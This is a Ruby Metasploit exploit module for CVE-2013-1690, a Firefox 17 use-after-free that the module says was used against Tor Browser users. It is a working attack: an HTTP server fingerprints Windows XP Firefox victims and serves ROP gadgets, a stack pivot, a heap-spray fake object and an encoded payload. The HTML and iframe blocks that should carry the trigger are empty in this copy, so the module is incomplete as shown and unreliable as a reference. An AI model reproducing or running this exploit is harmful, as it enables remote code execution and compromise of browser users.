##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free',
'Description' => %q{
This module exploits a vulnerability found on Firefox 17.0.6, specifically a use
after free of a DocumentViewerImpl object, triggered via a specially crafted web
page using onreadystatechange events and the window.stop() API, as exploited in the
wild on 2013 August to target Tor Browser users.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nils', # vulnerability discovery
'Unknown', # 1day exploit, prolly the FBI
'w3bd3vil', # 1day analysis
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-1690' ],
[ 'OSVDB', '94584'],
[ 'BID', '60778'],
[ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ],
[ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ],
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ],
[ 'URL', 'http://krash.in/ffn0day.txt' ],
[ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Firefox 17 & Firefox 21 / Windows XP SP3',
{
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
'RetGadget' => 0x77c3ee16, # ret from msvcrt
'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP
'VFuncPtr' => 0x0c10100c # Fake Function Pointer to the Sprayed Memory
}
]
],
'DisclosureDate' => '2013-06-25',
'DefaultTarget' => 0))
end
def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot
end
def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_status("Agent: #{agent}")
if agent !~ /Windows NT 5\.1/
print_error("Windows XP not found, sending 404: #{agent}")
send_not_found(cli)
return
end
unless agent =~ /Firefox\/(17|21)/
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
# build html
code = [
target['VFuncPtr'],
target['RetGadget'],
target['StackPivot'],
junk
].pack("V*")
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
content = <<-HTML
HTML
# build iframe
iframe = <<-IFRAME
IFRAME
print_status("URI #{request.uri} requested...")
if request.uri =~ /iframe\.html/
print_status("Sending iframe HTML")
send_response(cli, iframe, {'Content-Type'=>'text/html'})
return
end
print_status("Sending HTML")
send_response(cli, content, {'Content-Type'=>'text/html'})
end
end